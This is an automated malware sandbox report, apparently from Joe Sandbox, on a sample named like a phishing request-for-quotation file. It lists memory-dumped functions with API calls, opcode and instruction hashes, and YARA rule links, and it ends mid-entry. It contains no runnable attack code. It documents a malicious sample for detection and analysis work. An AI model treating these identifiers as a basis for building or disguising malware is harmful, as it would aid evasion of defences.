                                                                                                      • Snapshot File: hcaresult_0_2_25e0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: HandleModule
                                                                                                      • String ID:
                                                                                                      • API String ID: 4139908857-0
                                                                                                      • Opcode ID: f026b3c0895e394510ade0abc1692fd0db8b301ed9c78c1317337abd3ef2a07f
                                                                                                      • Instruction ID: 8e185b686e8e5456fd1c69f035d5e21df6967300e5e7b5f94011bc7c96f1be8c
                                                                                                      • Opcode Fuzzy Hash: f026b3c0895e394510ade0abc1692fd0db8b301ed9c78c1317337abd3ef2a07f
                                                                                                      • Instruction Fuzzy Hash: 2311E0B6C013498FDB14CFAAC444BDEFBF5FB88224F10846AD969A7210C379A545CFA5
                                                                                                      Function 06DF0140 Relevance: 1.3, APIs: 1, Instructions: 67memoryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • VirtualAlloc.KERNEL32(?,?,?,?), ref: 06DF01B3
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573686437.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6df0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: AllocVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 4275171209-0
                                                                                                      • Opcode ID: cbfac88fa8f725fee4a4641629d74f06bd9b6a22cba81c9a4259dc3afc5b9a4c
                                                                                                      • Instruction ID: ac42512e826707f416e0779cb625ad232c5e62a344a050bf3099da43bc192838
                                                                                                      • Opcode Fuzzy Hash: cbfac88fa8f725fee4a4641629d74f06bd9b6a22cba81c9a4259dc3afc5b9a4c
                                                                                                      • Instruction Fuzzy Hash: 8F219A769003089FDB10DFAAC841BDFBBF4EF48324F14842AE659A7251C7796541CFA0
                                                                                                      Function 06DF0148 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • VirtualAlloc.KERNEL32(?,?,?,?), ref: 06DF01B3
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573686437.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6df0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: AllocVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 4275171209-0
                                                                                                      • Opcode ID: 24cf790e0fcc6a0bef84917b482e2fcbfd76865aaac8ef696e4cbf284b80cba3
                                                                                                      • Instruction ID: 8c1a45acd59ba3daa96e2bdbfcdde890e572e8fad0c7d8c8a3f59f4df66d2dec
                                                                                                      • Opcode Fuzzy Hash: 24cf790e0fcc6a0bef84917b482e2fcbfd76865aaac8ef696e4cbf284b80cba3
                                                                                                      • Instruction Fuzzy Hash: 1D1104769003489FDB10DFAAC845BEFBBF5EB48324F14842AE519A7250C779A540CFA4
                                                                                                      Function 072D7533 Relevance: 1.3, Strings: 1, Instructions: 35COMMON
                                                                                                      Download Yara Rule
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: L
                                                                                                      • API String ID: 0-2909332022
                                                                                                      • Opcode ID: 613ea67acabd7c1514747a1a45cb54d5c33550a1e652447c22a5647c09475771
                                                                                                      • Instruction ID: 4e58e7c073f4d5ccdeafca615bec383f730eb2dc902aa515c38a569213e301ad
                                                                                                      • Opcode Fuzzy Hash: 613ea67acabd7c1514747a1a45cb54d5c33550a1e652447c22a5647c09475771
                                                                                                      • Instruction Fuzzy Hash: CA015E70905119CFDB649F24D8A9BDCB7B1EF45304F0040E5E919A3691DB745EC4CF21
                                                                                                      Function 072D2BA5 Relevance: 1.3, Strings: 1, Instructions: 34COMMON
                                                                                                      Download Yara Rule
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: L
                                                                                                      • API String ID: 0-2909332022
                                                                                                      • Opcode ID: 5847d73ec7551faadcbe78b0c7fd9f5bcc827d34952a1863b6ca2ab606afa660
                                                                                                      • Instruction ID: a7954de081e0b3234ea19722e0f2909be2d03057515dca87e1ba2fdd2263e316
                                                                                                      • Opcode Fuzzy Hash: 5847d73ec7551faadcbe78b0c7fd9f5bcc827d34952a1863b6ca2ab606afa660
                                                                                                      • Instruction Fuzzy Hash: AB014CB0911119CFEB649F14E899BE8B3B1EB44308F0050E5E919A2790DB745FC4CF11
                                                                                                      Function 06E454F9 Relevance: 1.3, Strings: 1, Instructions: 18COMMON
                                                                                                      Download Yara Rule
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: }
                                                                                                      • API String ID: 0-4239843852
                                                                                                      • Opcode ID: 810aa5e7ba76bf646ec27adfdb8becd9d37780246df8748ee29bf966f134b878
                                                                                                      • Instruction ID: f3ca7027286692598a3423e4548d133cfdbb0ac563bab14d75a1adbda9709d39
                                                                                                      • Opcode Fuzzy Hash: 810aa5e7ba76bf646ec27adfdb8becd9d37780246df8748ee29bf966f134b878
                                                                                                      • Instruction Fuzzy Hash: BFF0F874D49628CFDBA4DF25D964BD9BBB1FB49301F0051EA980DA2390EB356E81CF01
                                                                                                      Function 072A88E0 Relevance: .7, Instructions: 677COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 4ea9550df8e0b466192c7b409796fe15c1b50eb788935035430961afbb76f625
                                                                                                      • Instruction ID: 6031b72ad9d50dd3ebdacd20d5f8ffe527e78703ea4037ebe88e3b5fcb061116
                                                                                                      • Opcode Fuzzy Hash: 4ea9550df8e0b466192c7b409796fe15c1b50eb788935035430961afbb76f625
                                                                                                      • Instruction Fuzzy Hash: 8D5229B5A102299FDB64CF69C945BDDBBF2BF88300F1540D9E549AB391DA309E80CF61
                                                                                                      Function 06E21EA8 Relevance: .6, Instructions: 577COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573817799.0000000006E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e20000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 8992cca6e95da6db1d9a8ba3c9154e60ab635f080439a172e80171f2b4abd8a6
                                                                                                      • Instruction ID: bdb0b179b8b31af30b0c84202de0fe46675222efa329e118ea5fa6640438fdfe
                                                                                                      • Opcode Fuzzy Hash: 8992cca6e95da6db1d9a8ba3c9154e60ab635f080439a172e80171f2b4abd8a6
                                                                                                      • Instruction Fuzzy Hash: 7342B474E0032ADFEB54DB94D458AEEB7B2FF48305F109019EA126B3A4D735AA42CF51
                                                                                                      Function 072A323A Relevance: .5, Instructions: 533COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 06d3673b3699e9307bc791e20bc95583dfed88377bcbf6fc0c5dd11a5aef08ee
                                                                                                      • Instruction ID: b0122f71d3bc1fb3e00fa55bca08c75d6d25a88c56f3afc06a05871bcb03188c
                                                                                                      • Opcode Fuzzy Hash: 06d3673b3699e9307bc791e20bc95583dfed88377bcbf6fc0c5dd11a5aef08ee
                                                                                                      • Instruction Fuzzy Hash: E3227E71A10219EFDB04DFA9D494AADBBF2FF88350F158069E905AB3A2CB71DD44CB50
                                                                                                      Function 072A2668 Relevance: .5, Instructions: 516COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e8a2fed628f94ed2a7c1e797e3b0780f7b2c939f1f3842a5770266f57c8be30f
                                                                                                      • Instruction ID: 9c2e51b60ddb56e9561a403d648b7613b8043f0e36a8fa55c6f081e8bb9a1fa4
                                                                                                      • Opcode Fuzzy Hash: e8a2fed628f94ed2a7c1e797e3b0780f7b2c939f1f3842a5770266f57c8be30f
                                                                                                      • Instruction Fuzzy Hash: 8F229A70E1022ADFCB15DFA5D848AEDBBF2BF88700F148115E851AB395DB74AA46CF50
                                                                                                      Function 072A6150 Relevance: .5, Instructions: 484COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 4fb079f96e0c3ff2941ba04ff366287b1ff94a6a012d62f963df60ecc52c7094
                                                                                                      • Instruction ID: f68f5bac594c586ca9b60e39c545d36c2f60255c574ae348a8509f89f9828290
                                                                                                      • Opcode Fuzzy Hash: 4fb079f96e0c3ff2941ba04ff366287b1ff94a6a012d62f963df60ecc52c7094
                                                                                                      • Instruction Fuzzy Hash: 3A126B70A10719DFCB24DFA9C444AAEB7F2FF88300F148529D5469B295DB31EC46CBA0
                                                                                                      Function 072ABCE8 Relevance: .4, Instructions: 437COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e09a099c1a7f8659c4fe7b3e6027231f0444b2d9136fd8be28fb809381f4e277
                                                                                                      • Instruction ID: 845639c37c0c33336dbc97d1f7beda633e701bbb31534edf44b5094e220606c9
                                                                                                      • Opcode Fuzzy Hash: e09a099c1a7f8659c4fe7b3e6027231f0444b2d9136fd8be28fb809381f4e277
                                                                                                      • Instruction Fuzzy Hash: 7A121874A10219DFCB14EF64C894B9DB7B2BF89300F5085A8E54AAB365DB30ED89CF51
                                                                                                      Function 06E4FA10 Relevance: .4, Instructions: 415COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e75ffda0de6fe55fff495cb5f66cc3b210da32b99ae2413f1955c0679765f9f1
                                                                                                      • Instruction ID: 137291d59e25c77705bdb5ca0d69dcba7aeab56be548593a637168adb7aa5456
                                                                                                      • Opcode Fuzzy Hash: e75ffda0de6fe55fff495cb5f66cc3b210da32b99ae2413f1955c0679765f9f1
                                                                                                      • Instruction Fuzzy Hash: DAF1BC30A007088FCB64DF69D4546AEBBF2FFC8710F148969E54AD7790DB30A905CB91
                                                                                                      Function 072A7A00 Relevance: .4, Instructions: 370COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: a0fb1f1eafe861bde7bcf4ba20df997ac12f232d6a1f8cf20b3baa7e3655a864
                                                                                                      • Instruction ID: 4c50dc82d826eed6e15e41c569158a832c2b419b7bd6be7e802aca9b4cc64bed
                                                                                                      • Opcode Fuzzy Hash: a0fb1f1eafe861bde7bcf4ba20df997ac12f232d6a1f8cf20b3baa7e3655a864
                                                                                                      • Instruction Fuzzy Hash: 46F1F974A10219DFCB04DFA4D998A9DBBB2FF88700F518158E906AB3A1DB70EC42CF55
                                                                                                      Function 06E229D0 Relevance: .4, Instructions: 362COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573817799.0000000006E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e20000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 0e607bdc0c160e51fb341e36d286532a8a73404a9fdffe5e460636ff124ef3b7
                                                                                                      • Instruction ID: a627e3b5bca6ee7a26d981a71a8c96a554f0ec5febfed05a7fb2bf3df1cb7f55
                                                                                                      • Opcode Fuzzy Hash: 0e607bdc0c160e51fb341e36d286532a8a73404a9fdffe5e460636ff124ef3b7
                                                                                                      • Instruction Fuzzy Hash: 4EF1C330D01329DFDB54DFA8E4986ADBBB2FF89315F145129E906A7350DB35AA82CF40
                                                                                                      Function 072AC3E0 Relevance: .4, Instructions: 360COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 197e9ca1ee31234979a695142f4dad726e6de6b48a665279d815740df3b17b30
                                                                                                      • Instruction ID: ff7515ee3365fa7ac7cdc3574c1a2239dff2dd46b9d33574b22ad19da977f1cb
                                                                                                      • Opcode Fuzzy Hash: 197e9ca1ee31234979a695142f4dad726e6de6b48a665279d815740df3b17b30
                                                                                                      • Instruction Fuzzy Hash: B8E16674A10209EFCB04DF64D4949ADBBB2FF89310F508565E806AB3A4DB30ED85CBA5
                                                                                                      Function 072A39B0 Relevance: .2, Instructions: 247COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 499f4043d8acb45ba9a9626281bcf19e436ad15b1f1f8d26f10dee1c93ffa81a
                                                                                                      • Instruction ID: 6d8a3c721ad1877db581619ed9639158f76b6f57de7debd9fabec49ddc42bbfb
                                                                                                      • Opcode Fuzzy Hash: 499f4043d8acb45ba9a9626281bcf19e436ad15b1f1f8d26f10dee1c93ffa81a
                                                                                                      • Instruction Fuzzy Hash: CD912874B102159FDB14DF69C884AAABBF6BF89710F1140A9E502DB3B2DB71DC41CBA1
                                                                                                      Function 072ABCD8 Relevance: .2, Instructions: 234COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: ff6d43e6598526a23018591b1119a224597d0ab437025cb69cb549147a80a5fd
                                                                                                      • Instruction ID: 98875af4fa23a799ac5bcae73b46f2c5c968f2c0226ff9604644a203bf814533
                                                                                                      • Opcode Fuzzy Hash: ff6d43e6598526a23018591b1119a224597d0ab437025cb69cb549147a80a5fd
                                                                                                      • Instruction Fuzzy Hash: 8FA10A74B10219DFCB14DF24C894B99BBB2BF89300F5085A8E54AAB3A5DF70AD85CF50
                                                                                                      Function 072A4240 Relevance: .2, Instructions: 226COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e0f110810866ffe9e35900a933f3cb6f65b40a7eb8338ea1b17d6b4344375cbf
                                                                                                      • Instruction ID: 0e751b62d91d1380c1bc6f2648b81311c0c1a7950642cec100d901040507fea7
                                                                                                      • Opcode Fuzzy Hash: e0f110810866ffe9e35900a933f3cb6f65b40a7eb8338ea1b17d6b4344375cbf
                                                                                                      • Instruction Fuzzy Hash: 1471FD30710756AFDB19EF28D8446AE3BA2EF85750B648169E902CB391CF35DC06CBA1
                                                                                                      Function 06E4E428 Relevance: .2, Instructions: 225COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 5ba2c792888a9b56bd8e1997b5637b64f945fdf8bdb1732abb7f0a38973c9035
                                                                                                      • Instruction ID: 7a9ccb57294c38207182e859338a2c77a401a0cbf692066a2a2887df098c544f
                                                                                                      • Opcode Fuzzy Hash: 5ba2c792888a9b56bd8e1997b5637b64f945fdf8bdb1732abb7f0a38973c9035
                                                                                                      • Instruction Fuzzy Hash: 8871F331A003158FCB50EF78E844AAABBB6FF89310F1581AAE515DB281D735EC46CBD0
                                                                                                      Function 072A79F3 Relevance: .2, Instructions: 223COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 58abd0a450db0e866d0eb3c0e48f51eb445e2614e3fb17c3b6751b4032e9d5e4
                                                                                                      • Instruction ID: 94221529f48b91620c815987281b929a1eb632d68c2dd0bf603789857b64f5c5
                                                                                                      • Opcode Fuzzy Hash: 58abd0a450db0e866d0eb3c0e48f51eb445e2614e3fb17c3b6751b4032e9d5e4
                                                                                                      • Instruction Fuzzy Hash: 6DA10A74A10219DFCB04EFA4D898A9DBBB2FF88300F558159E805AB361DB30EC46CF95
                                                                                                      Function 072A4710 Relevance: .2, Instructions: 208COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 87749c361e35e181e93b3740e041f4df54827f0dccbb25cc1420c49d34c6e51d
                                                                                                      • Instruction ID: e7f8f9dea0f6e811d4cd092f21a843120775c1676ad947af2f7ad08ee3b9b711
                                                                                                      • Opcode Fuzzy Hash: 87749c361e35e181e93b3740e041f4df54827f0dccbb25cc1420c49d34c6e51d
                                                                                                      • Instruction Fuzzy Hash: 8A814675A10219DFCB14EF69C484E9EB7F5BF88710F1585A9E8069B360DB70ED42CB90
                                                                                                      Function 06E23968 Relevance: .2, Instructions: 208COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573817799.0000000006E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e20000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: d07d27cbdc4731116ab324149b3fd81cdadd5d85d8e0c4d5676e9d1f1f3ad058
                                                                                                      • Instruction ID: 0af3152e35b42475f4e878bcd828911de9271665a0607de8a8d3fa5905f02305
                                                                                                      • Opcode Fuzzy Hash: d07d27cbdc4731116ab324149b3fd81cdadd5d85d8e0c4d5676e9d1f1f3ad058
                                                                                                      • Instruction Fuzzy Hash: FE91D174E00219DFDB54DFA9D4586ECBBB2FF8A215F10902AD812B7390CB39A845CF60
                                                                                                      Function 06E42B1F Relevance: .2, Instructions: 196COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 87039950367949b8e58568f14f9f5a46ee240951df6edce1ddf664e08aae1b36
                                                                                                      • Instruction ID: d1efd0aec7423d366675ef4927b78c1088006f8136a930d112fb8545547308d1
                                                                                                      • Opcode Fuzzy Hash: 87039950367949b8e58568f14f9f5a46ee240951df6edce1ddf664e08aae1b36
                                                                                                      • Instruction Fuzzy Hash: F1910770D01318CFDBA4DFB9E484BADBBB2BF45304F6050A9E109AB245DB709A85CF50
                                                                                                      Function 072ACC90 Relevance: .2, Instructions: 196COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 7e552e4d931514f5a808a2aa439f2679cb059817e41a74266ea7dc2ddf63f2cd
                                                                                                      • Instruction ID: 28eed398f7a7520409015de5eca1a370a2393058548acb3f7a32a84dd90e38bd
                                                                                                      • Opcode Fuzzy Hash: 7e552e4d931514f5a808a2aa439f2679cb059817e41a74266ea7dc2ddf63f2cd
                                                                                                      • Instruction Fuzzy Hash: 29714E70B20215EFCB14DF68C494A6DBBB6BF89700F108069E906DB3A5CB70DD41CB91
                                                                                                      Function 06E42F20 Relevance: .2, Instructions: 195COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 1fe4f55849769a1fa2175a1c8f3a8eff8644b310b68319a6ceb33875c339105e
                                                                                                      • Instruction ID: 6f613e49a8388cbc453180e11975cef453a364150eb2ded5727a5ba3d09c34d8
                                                                                                      • Opcode Fuzzy Hash: 1fe4f55849769a1fa2175a1c8f3a8eff8644b310b68319a6ceb33875c339105e
                                                                                                      • Instruction Fuzzy Hash: 9E912870D05318CFEB94DF79E484BADBBB2BF45304F60A0A9E109AB245DB749A85CF50
                                                                                                      Function 06E42EEF Relevance: .2, Instructions: 194COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e6b6bb36dbc84f96fc87fe38eb816a707806b0057ce16a1dff1ca5a8dcb9f83e
                                                                                                      • Instruction ID: 9a47cbf737d169190c3ce1f2a5351cd188862a418a1f93810eed57b8eda31e03
                                                                                                      • Opcode Fuzzy Hash: e6b6bb36dbc84f96fc87fe38eb816a707806b0057ce16a1dff1ca5a8dcb9f83e
                                                                                                      • Instruction Fuzzy Hash: DF911770D01318CFDB94DF79E484BADBBB2BF49304F60A0A9E509AB255DB709A81CF10
                                                                                                      Function 06E42B46 Relevance: .2, Instructions: 186COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 0aa76fc8bdf4f9696d17b6cd1c275d15ecc4a72a3fa16a76122fe522aaf7e01b
                                                                                                      • Instruction ID: f2678f89ee0386412ce5db88b1b5dec354f3a8419e2f77d00434cf9958d44d97
                                                                                                      • Opcode Fuzzy Hash: 0aa76fc8bdf4f9696d17b6cd1c275d15ecc4a72a3fa16a76122fe522aaf7e01b
                                                                                                      • Instruction Fuzzy Hash: D9812770D05318CFEB94DF79E484BADBBB2BF45304F6060A9E509AB245DB709A85CF50
                                                                                                      Function 072A1880 Relevance: .2, Instructions: 185COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
